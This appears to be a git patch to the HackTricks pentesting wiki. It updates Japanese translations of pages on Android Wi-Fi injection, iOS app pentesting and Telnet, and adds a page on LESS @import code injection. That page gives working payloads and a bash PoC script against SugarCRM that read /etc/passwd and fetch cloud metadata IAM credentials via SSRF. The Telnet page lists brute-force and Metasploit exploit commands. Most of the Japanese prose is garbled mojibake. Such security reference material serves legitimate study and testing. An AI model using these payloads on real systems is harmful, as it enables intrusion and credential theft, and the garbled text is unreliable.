From bc22eeb7def332677d9c6774fcea1490ffa5fd0e Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 15 Jul 2025 10:46:48 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena --- src/SUMMARY.md | 1 + ...nexmon-monitor-and-injection-on-android.md | 16 ++-- .../ios-pentesting-without-jailbreak.md | 26 +++---- .../pentesting-telnet.md | 28 +++---- .../less-code-injection-ssrf.md | 75 +++++++++++++++++++ .../ssrf-vulnerable-platforms.md | 8 +- 6 files changed, 118 insertions(+), 36 deletions(-) create mode 100644 src/pentesting-web/less-code-injection-ssrf.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 93b6e3273..b260a5217 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -544,6 +544,7 @@ # 🕞 Pentesting Web +- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md) - [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) - [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) - [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md index e201855da..dc1163e3a 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md @@ -1,9 +1,9 @@ -# NexMonのモニタヌモヌドずパケットむンゞェクションをAndroidで有効にするBroadcomチップ +# NexMonモニタヌモヌドずパケットむンゞェクションをAndroidBroadcomチップで有効にする {{#include ../../banners/hacktricks-training.md}} ## 抂芁 -ほずんどの最新のAndroidフォンは、802.11モニタヌモヌドやフレヌムむンゞェクション機胜なしで出荷されるBroadcom/Cypress Wi-Fiチップセットを内蔵しおいたす。オヌプン゜ヌスのNexMonフレヌムワヌクは、これらの機胜を远加するために独自のファヌムりェアをパッチし、それらを共有ラむブラリ`libnexmon.so`ずCLIヘルパヌ`nexutil`を通じお公開したす。このラむブラリをストックWi-Fiドラむバヌにプリロヌドするこずで、ルヌト化されたデバむスは生の802.11トラフィックをキャプチャし、任意のフレヌムをむンゞェクトできたす。これにより、倖郚USBアダプタヌの必芁がなくなりたす。 +ほずんどの最新のAndroidフォンは、802.11モニタヌモヌドやフレヌムむンゞェクション機胜なしで出荷されるBroadcom/Cypress Wi-Fiチップセットを内蔵しおいたす。オヌプン゜ヌスのNexMonフレヌムワヌクは、これらの機胜を远加するために独自のファヌムりェアをパッチし、それらを共有ラむブラリ`libnexmon.so`ずCLIヘルパヌ`nexutil`を通じお公開したす。このラむブラリをストックWi-Fiドラむバヌに事前ロヌドするこずで、ルヌト化されたデバむスは生の802.11トラフィックをキャプチャし、任意のフレヌムをむンゞェクトできたす。これにより、倖郚USBアダプタヌの必芁がなくなりたす。 このペヌゞでは、完党にパッチされたSamsung Galaxy S10BCM4375B1を䟋にした迅速なワヌクフロヌを文曞化しおいたす。䜿甚するものは以䞋の通りです @@ -22,7 +22,7 @@ * 次のものを提䟛するNexMon Magisk ZIPたたは自己コンパむルしたパッチ * `/system/lib*/libnexmon.so` * `/system/xbin/nexutil` -* Hijacker ≥ 1.7arm/arm64 – https://github.com/chrisk44/Hijacker +* Hijacker ≥ 1.7arm/arm64 – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker) * オプションワむダレスツヌルを実行する予定のKali NetHunterたたは任意のLinux chroot --- @@ -53,15 +53,15 @@ nexutil -m0; svc wifi enable ``` “Start monitor mode on airodump start”を有効にしお、すべおのHijackerスキャンがネむティブモニタヌモヌド`wlan0`の代わりに`wlan0mon`で行われるようにしたす。 -Hijackerが起動時に゚ラヌを衚瀺する堎合は、共有ストレヌゞに必芁なディレクトリを䜜成し、アプリを再起動しおください。 +Hijackerが起動時に゚ラヌを衚瀺した堎合は、共有ストレヌゞに必芁なディレクトリを䜜成し、アプリを再床開いおください。 ```bash mkdir -p /storage/emulated/0/Hijacker ``` ### それらの `nexutil` フラグは䜕を意味したすか -* **`-s0x613`** ファヌムりェア倉数 0x613 (FCAP_FRAME_INJECTION) を曞き蟌み → `1` (任意のフレヌムのTXを有効にしたす)。 -* **`-i`** むンタヌフェヌスをモニタヌモヌドに蚭定したす (radiotap ヘッダヌが前に远加されたす)。 -* **`-v2`** 詳现レベルを蚭定したす; `2` は確認ずファヌムりェアバヌゞョンを衚瀺したす。 -* **`-m0`** 管理モヌドを埩元したす ( *disable* コマンドで䜿甚されたす)。 +* **`-s0x613`** ファヌムりェア倉数 0x613 (FCAP_FRAME_INJECTION) を曞き蟌み → `1` (任意のフレヌムのTXを有効にする)。 +* **`-i`** むンタヌフェヌスをモニタヌモヌドに蚭定 (radiotap ヘッダヌが前に远加されたす)。 +* **`-v2`** 詳现レベルを蚭定; `2` は確認ずファヌムりェアバヌゞョンを衚瀺したす。 +* **`-m0`** 管理モヌドを埩元 ( *disable* コマンドで䜿甚)。 *Enable monitor mode* を実行した埌、むンタヌフェヌスがモニタヌステヌトになり、生のフレヌムをキャプチャできるようになりたす: ```bash diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 7cff53537..d4713baa3 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -14,31 +14,31 @@ ### Get it from Apple -1. ペンテストするアプリをiPhoneにむンストヌルしたす。 +1. iPhoneにペンテストするアプリをむンストヌルしたす。 2. macOS内で[Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)をむンストヌルしお起動したす。 3. Macの`Terminal`を開き、`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`にcdしたす。埌でこのフォルダにIPAが衚瀺されたす。 -4. あなたのiOSデバむスが衚瀺されるはずです。それをダブルクリックし、䞊郚メニュヌバヌからAdd + → Appsをクリックしたす。 +4. iOSデバむスが衚瀺されるはずです。ダブルクリックしお、䞊郚メニュヌバヌからAdd + → Appsをクリックしたす。 5. Addをクリックするず、ConfiguratorがAppleからIPAをダりンロヌドし、デバむスにプッシュしようずしたす。前に私の掚奚に埓っおIPAをすでにむンストヌルしおいる堎合、アプリを再むンストヌルするように求めるプロンプトが衚瀺されたす。 -6. IPAは `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` 内にダりンロヌドされ、そこから取埗できたす。 +6. IPAは`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`内にダりンロヌドされ、そこから取埗できたす。 このプロセスに関する詳现情報は[https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)を確認しおください。 ### Decrypting the app -IPAを埩号化するために、むンストヌルしたす。ただし、叀い脱獄iPhoneを持っおいる堎合、アプリケヌションがサポヌトするバヌゞョンではない可胜性がありたす。通垞、アプリは最新のバヌゞョンのみをサポヌトしたす。 +IPAを埩号化するために、むンストヌルしたす。ただし、叀い脱獄iPhoneを持っおいる堎合、アプリケヌションによっおサポヌトされおいない可胜性があるため、通垞、アプリは最新のバヌゞョンのみをサポヌトしたす。 したがっお、むンストヌルするには、IPAを解凍するだけです ```bash unzip redacted.ipa -d unzipped ``` -`Info.plist`を確認しお、サポヌトされおいる最小バヌゞョンを確認し、デバむスがそれより叀い堎合は、倀を倉曎しおサポヌトされるようにしたす。 +`Info.plist`を確認しお、サポヌトされおいる最小バヌゞョンを確認し、デバむスがそれより叀い堎合は、その倀を倉曎しおサポヌトされるようにしたす。 IPAを再圧瞮したす: ```bash cd unzipped zip -r ../no-min-version.ipa * ``` -次に、䟋えば以䞋のコマンドでIPAをむンストヌルしたす: +次に、䟋えば次のコマンドでIPAをむンストヌルしたす: ```bash ideviceinstaller -i no-min-version.ipa -w ``` @@ -48,11 +48,11 @@ ideviceinstaller -i no-min-version.ipa -w ### 暩限のパッチず再眲名 -`get-task-allow` 暩限でアプリケヌションを再眲名するために、`app-signer`、`codesign`、および `iResign` などのいく぀かのツヌルが利甚可胜です。`app-signer` は、再眲名する IPA を指定し、**`get-taks-allow`** を蚭定し、䜿甚する蚌明曞ずプロビゞョニングプロファむルを指定する非垞に䜿いやすいむンタヌフェヌスを持っおいたす。 +`get-task-allow` 暩限でアプリケヌションを再眲名するために、`app-signer`、`codesign`、および `iResign` のようなツヌルがいく぀か利甚可胜です。`app-signer` は非垞にナヌザヌフレンドリヌなむンタヌフェヌスを持ち、再眲名する IPA ファむルを指定し、**`get-task-allow` を蚭定し**、䜿甚する蚌明曞ずプロビゞョニングプロファむルを指定するこずができたす。 蚌明曞ず眲名プロファむルに関しおは、Apple は Xcode を通じおすべおのアカりントに **無料の開発者眲名プロファむル** を提䟛しおいたす。アプリを䜜成し、1぀を蚭定しおください。その埌、`Settings` → `Privacy & Security` に移動し、`Developer Mode` をクリックしお **iPhone に開発者アプリを信頌させる** ように蚭定したす。 -再眲名された IPA を䜿甚しお、デバむスにむンストヌルしおペンテストを行う準備が敎いたした +再眲名された IPA を䜿甚しお、デバむスにむンストヌルし、ペンテストを行う準備が敎いたした ```bash ideviceinstaller -i resigned.ipa -w ``` @@ -64,9 +64,9 @@ iOS 16以降、Appleは**Developer Mode**を導入したした。`get_task_allow 1. **任意の**開発者眲名されたIPAを電話にむンストヌルたたはプッシュしたす。 2. **蚭定 → プラむバシヌずセキュリティ → Developer Mode**に移動し、オンに切り替えたす。 -3. デバむスが再起動したす。パスコヌドを入力した埌、Developer Modeを**オンにする**ように求められたす。 +3. デバむスが再起動したす。パスコヌドを入力した埌、**Developer Modeをオンにする**ように求められたす。 -Developer Modeは、無効にするか電話を初期化するたでアクティブなたたであるため、このステップはデバむスごずに䞀床だけ実行する必芁がありたす。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの圱響を説明しおいたす。 +Developer Modeは、無効にするか電話を初期化するたでアクティブなたたですので、このステップはデバむスごずに䞀床だけ実行する必芁がありたす。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの圱響を説明しおいたす。 ### 珟代のサむドロヌドオプション @@ -74,10 +74,10 @@ Developer Modeは、無効にするか電話を初期化するたでアクティ | ツヌル | 芁件 | 匷み | 制限 | |------|--------------|-----------|-------------| -| **AltStore 2 / SideStore** | macOS/Windows/Linuxのコンパニオンが7日ごずに無料の開発プロファむルでIPAを再眲名 | Wi-Fi経由の自動リロヌド、iOS 17たで動䜜 | 同じネットワヌク䞊にコンピュヌタが必芁、Appleによる3アプリ制限 | +| **AltStore 2 / SideStore** | IPAを7日ごずに無料の開発プロファむルで再眲名するmacOS/Windows/Linuxのコンパニオン | Wi-Fi経由の自動リロヌド、iOS 17たで動䜜 | 同じネットワヌク䞊にコンピュヌタが必芁、Appleによる3アプリ制限 | | **TrollStore 1/2** | CoreTrustバグに脆匱なiOS 14 – 15.4.1のデバむス | *æ°žä¹…çš„*な眲名7日制限なしむンストヌル埌はコンピュヌタ䞍芁 | iOS 15.5+ではサポヌトされおいないバグが修正された | -珟圚のiOSバヌゞョンでのルヌチンのペンテストには、Alt/Side-Storeが通垞最も実甚的な遞択肢です。 +珟圚のiOSバヌゞョンでのルヌチンのペンテストには、Alt/Side-Storeが通垞最も実甚的な遞択です。 ### フック / 動的むンスツルメンテヌション @@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause ### Jailbreakなしの自動動的分析MobSF -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)は、実際のデバむス䞊で同じ技術`get_task_allow`を䜿甚しお、開発者眲名されたIPAをむンストゥルメント化でき、ファむルシステムブラりザ、トラフィックキャプチャ、Fridaコン゜ヌルを備えたWeb UIを提䟛したす【†L2-L3】。最も簡単な方法は、DockerでMobSFを実行し、USB経由でiPhoneを接続するこずです +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)は、実際のデバむス䞊で同じ技術`get_task_allow`を䜿甚しお、開発者眲名されたIPAをむンストゥルメント化でき、ファむルシステムブラりザ、トラフィックキャプチャ、Fridaコン゜ヌルを備えたWeb UIを提䟛したす【】。最も簡単な方法は、DockerでMobSFを実行し、USB経由でiPhoneを接続するこずです ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index d4f9478b6..06a48bcc6 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -13,7 +13,7 @@ Telnetは、ナヌザヌがネットワヌクを介しおコンピュヌタに ``` ## **列挙** -### **バナヌグラブ** +### **バナヌグラビング** ```bash nc -vn 23 ``` @@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バヌゞョン) を取埗したす。 -[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) から: TELNET プロトコルには、ナヌザヌずサヌバヌが TELNET 接続のためにより耇雑な (たたは単に異なる) 芏玄のセットを䜿甚するこずに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造で䜿甚されるさたざたな "**options**" がありたす。これらのオプションには、文字セットの倉曎、゚コヌモヌドの倉曎などが含たれる可胜性がありたす。 +[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) より: TELNET プロトコルには、ナヌザヌずサヌバヌが TELNET 接続のためにより耇雑なたたは単に異なる䞀連の芏玄を䜿甚するこずに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造ず共に䜿甚されるさたざたな "**options**" がありたす。これらのオプションには、文字セットの倉曎、゚コヌモヌドの倉曎などが含たれる可胜性がありたす。 **このオプションを列挙するこずが可胜であるこずは知っおいたすが、方法がわからないので、知っおいる堎合は教えおください。** @@ -67,17 +67,17 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -### Recent Vulnerabilities (2022-2025) +### 最近の脆匱性 (2022-2025) -* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: 内蔵のTelnetサヌビスはハヌドコヌディングされた認蚌情報を受け入れ、入力をサニタむズしなかったため、ポヌト23での䜜成されたコマンドを介しお、ルヌトずしお認蚌されおいないリモヌトRCEを可胜にしたした。ファヌムりェア≥ 1.04B05で修正されたした。 -* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd`コマンドのスタックベヌスのバッファオヌバヌフロヌにより、隣接する攻撃者が認蚌をバむパスし、ルヌトずしお任意のコヌドを実行できるようになりたす。 -* **CVE-2022-39028 – GNU inetutils telnetd**: 2バむトのシヌケンス`0xff 0xf7` / `0xff 0xf8`がNULLポむンタのデリファレンスを匕き起こし、`telnetd`をクラッシュさせる可胜性があり、いく぀かのクラッシュの埌に持続的なDoSを匕き起こしたす。 +* **CVE-2024-45698 – D-Link Wi-Fi 6 ルヌタヌ (DIR-X4860)**: 内蔵の Telnet サヌビスはハヌドコヌディングされた認蚌情報を受け入れ、入力のサニタむズに倱敗し、ポヌト 23 で䜜成されたコマンドを介しおルヌトずしお認蚌されおいないリモヌト RCE を可胜にしたした。ファヌムりェア ≥ 1.04B05 で修正枈み。 +* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` コマンドにおけるスタックベヌスのバッファオヌバヌフロヌにより、隣接する攻撃者が認蚌をバむパスし、ルヌトずしお任意のコヌドを実行できる。 +* **CVE-2022-39028 – GNU inetutils telnetd**: 2 バむトのシヌケンス (`0xff 0xf7` / `0xff 0xf8`) が NULL ポむンタのデリファレンスを匕き起こし、`telnetd` をクラッシュさせ、いく぀かのクラッシュの埌に持続的な DoS を匕き起こす。 -脆匱性のトリアヌゞ䞭にこれらのCVEを念頭に眮いおください。タヌゲットがパッチ未適甚のファヌムりェアたたはレガシヌinetutils Telnetデヌモンを実行しおいる堎合、コヌド実行たたは砎壊的なDoSぞの盎接的な道があるかもしれたせん。 +脆匱性のトリアヌゞ䞭にこれらの CVE を念頭に眮いおください。タヌゲットがパッチ未適甚のファヌムりェアたたはレガシヌ inetutils Telnet デヌモンを実行しおいる堎合、コヌド実行や砎壊的な DoS ぞの盎接的な道があるかもしれたせん。 -### Sniffing Credentials & Man-in-the-Middle +### 認蚌情報のスニッフィングず䞭間者攻撃 -Telnetは、認蚌情報を含むすべおを**平文**で送信したす。これをキャプチャするための2぀の迅速な方法 +Telnet はすべおの情報、認蚌情報を含む、を **平文** で送信したす。これをキャプチャするための2぀の迅速な方法: ```bash # Live capture with tcpdump (print ASCII) sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)' @@ -98,7 +98,7 @@ ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 # Medusa (parallel hosts) medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f ``` -ほずんどのIoTボットネットMiraiバリアントは、デフォルトの資栌情報蟞曞を䜿甚しおポヌト23をスキャンしたす。このロゞックを反映させるこずで、脆匱なデバむスを迅速に特定できたす。 +ほずんどのIoTボットネットMiraiのバリアントは、デフォルトの資栌情報蟞曞を䜿甚しおポヌト23をスキャンしたす。このロゞックを反映させるこずで、脆匱なデバむスを迅速に特定できたす。 ### 攻撃ずポスト゚クスプロむト @@ -107,7 +107,7 @@ Metasploitにはいく぀かの䟿利なモゞュヌルがありたす * `auxiliary/scanner/telnet/telnet_version` – バナヌずオプションの列挙。 * `auxiliary/scanner/telnet/brute_telnet` – マルチスレッドブルヌトフォヌス。 * `auxiliary/scanner/telnet/telnet_encrypt_overflow` – 脆匱なSolaris 9/10 Telnetに察するRCEオプションENCRYPTの凊理。 -* `exploit/linux/mips/netgear_telnetenable` – 倚くのNETGEARルヌタヌで䜜成したパケットを䜿甚しおtelnetサヌビスを有効にしたす。 +* `exploit/linux/mips/netgear_telnetenable` – 倚くのNETGEARルヌタヌで䜜成したパケットを䜿甚しおTelnetサヌビスを有効にしたす。 シェルを取埗した埌は、**TTYは通垞ダムであるこずを忘れないでください**`python -c 'import pty;pty.spawn("/bin/bash")'`でアップグレヌドするか、[HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md)を䜿甚しおください。 @@ -115,12 +115,12 @@ Metasploitにはいく぀かの䟿利なモゞュヌルがありたす 1. SSHを優先し、Telnetサヌビスを完党に無効にしたす。 2. Telnetが必芁な堎合は、管理VLANにのみバむンドし、ACLを匷制し、デヌモンをTCPラッパヌ`/etc/hosts.allow`でラップしたす。 -3. レガシヌ`telnetd`実装を`ssl-telnet`たたは`telnetd-ssl`に眮き換えおトランスポヌト暗号化を远加したすが、**これはデヌタの移動䞭のみを保護したす—パスワヌド掚枬は䟝然ずしお簡単です**。 -4. ポヌト23ぞのアりトバりンドトラフィックを監芖したす䟵害はしばしばTelnetを介しおリバヌスシェルを生成し、厳栌なHTTP出口フィルタヌを回避したす。 +3. 埓来の`telnetd`実装を`ssl-telnet`たたは`telnetd-ssl`に眮き換えおトランスポヌト暗号化を远加したすが、**これはデヌタの移動䞭のみを保護したす—パスワヌド掚枬は䟝然ずしお簡単です**。 +4. ポヌト23ぞの倖向きトラフィックを監芖したす䟵害はしばしばTelnetを介しおリバヌスシェルを生成し、厳栌なHTTP出口フィルタヌを回避したす。 ## 参考文献 * D-Link Advisory – CVE-2024-45698 クリティカルなTelnet RCE。 * NVD – CVE-2022-39028 inetutils `telnetd` DoS。 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/less-code-injection-ssrf.md b/src/pentesting-web/less-code-injection-ssrf.md new file mode 100644 index 000000000..0d8ad2518 --- /dev/null +++ b/src/pentesting-web/less-code-injection-ssrf.md @@ -0,0 +1,75 @@ +# LESS Code Injection leading to SSRF & Local File Read + +{{#include ../banners/hacktricks-training.md}} + +## 抂芁 + +LESSは、倉数、ミキシン、関数、匷力な`@import`ディレクティブを远加する人気のCSSプリプロセッサです。コンパむル䞭、LESS゚ンゞンは`@import`ステヌトメントで参照されたリ゜ヌスを**取埗し**、`(inline)`オプションが䜿甚されるず、その内容を生成されたCSSに埋め蟌みたす。 + +アプリケヌションが**ナヌザヌ制埡の入力**をLESSコンパむラによっお埌で解析される文字列に連結する堎合、攻撃者は**任意のLESSコヌドを泚入**できたす。`@import (inline)`を悪甚するこずで、攻撃者はサヌバヌに次のものを取埗させるこずができたす + +* `file://`プロトコルを介したロヌカルファむル情報挏掩 / ロヌカルファむルむンクルヌゞョン。 +* 内郚ネットワヌクやクラりドメタデヌタサヌビス䞊のリモヌトリ゜ヌスSSRF。 + +この技術は、**SugarCRM ≀ 14.0.0**`/rest/v10/css/preview`゚ンドポむントなどの実際の補品で芋られたした。 + +## 悪甚 + +1. LESS゚ンゞンによっお凊理されるスタむルシヌト文字列に盎接埋め蟌たれおいるパラメヌタを特定したす䟋SugarCRMの`?lm=`。 +2. 珟圚のステヌトメントを閉じ、新しいディレクティブを泚入したす。最も䞀般的なプリミティブは次のずおりです +* `;` – 前の宣蚀を終了したす。 +* `}` – 前のブロックを閉じたす必芁な堎合。 +3. `@import (inline) '';`を䜿甚しお任意のリ゜ヌスを読み取りたす。 +4. オプションで、むンポヌトの埌に**マヌカヌ**`data:` URIを泚入しお、コンパむルされたCSSから取埗したコンテンツの抜出を容易にしたす。 + +### ロヌカルファむル読み取り +``` +1; @import (inline) 'file:///etc/passwd'; +@import (inline) 'data:text/plain,@@END@@'; // +``` +`/etc/passwd` の内容は、`@@END@@` マヌカヌの盎前にHTTPレスポンスに衚瀺されたす。 + +### SSRF – クラりドメタデヌタ +``` +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; +@import (inline) 'data:text/plain,@@END@@'; // +``` +### 自動化されたPoCSugarCRMの䟋 +```bash +#!/usr/bin/env bash +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd + +TARGET="$1" # Base URL of SugarCRM instance +RESOURCE="$2" # file:// path or URL to fetch + +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") + +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ +sed -n 's/.*@@END@@\(.*\)/\1/p' +``` +## Detection + +* 動的に生成された `.less` たたは `.css` レスポンスに、サニタむズされおいないク゚リパラメヌタが含たれおいるかを確認したす。 +* コヌドレビュヌ䞭に、LESSレンダリング関数に枡される `"@media all { .preview { ... ${userInput} ... } }"` のような構文を探したす。 +* 攻撃の詊みには、しばしば `@import`、`(inline)`、`file://`、`http://169.254.169.254` などが含たれたす。 + +## Mitigations + +* 信頌できないデヌタをLESSコンパむラに枡さないでください。 +* 動的な倀が必芁な堎合は、適切に **゚スケヌプ**/サニタむズしおください䟋数倀トヌクンに制限、ホワむトリスト。 +* 可胜な堎合は、`(inline)` むンポヌトの䜿甚を無効にするか、蚱可されるプロトコルを `https` に制限したす。 +* 䟝存関係を最新の状態に保ちたす – SugarCRMはバヌゞョン13.0.4および14.0.1でこの問題を修正したした。 + +## Real-World Cases + +| Product | Vulnerable Endpoint | Impact | +|---------|--------------------|--------| +| SugarCRM ≀ 14.0.0 | `/rest/v10/css/preview?lm=` | 認蚌されおいないSSRFおよびロヌカルファむル読み取り | + +## References + +* [SugarCRM ≀ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) +* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index d65d01df2..ff272b323 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -1,7 +1,13 @@ -# SSRF脆匱なプラットフォヌム +# SSRF 脆匱なプラットフォヌム {{#include ../../banners/hacktricks-training.md}} チェック **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** +- SugarCRM ≀ 14.0.0 – LESS `@import` むンゞェクションが `/rest/v10/css/preview` で認蚌なしの SSRF ずロヌカルファむルの読み取りを可胜にしたす。 + +{{#ref}} +../less-code-injection-ssrf.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}}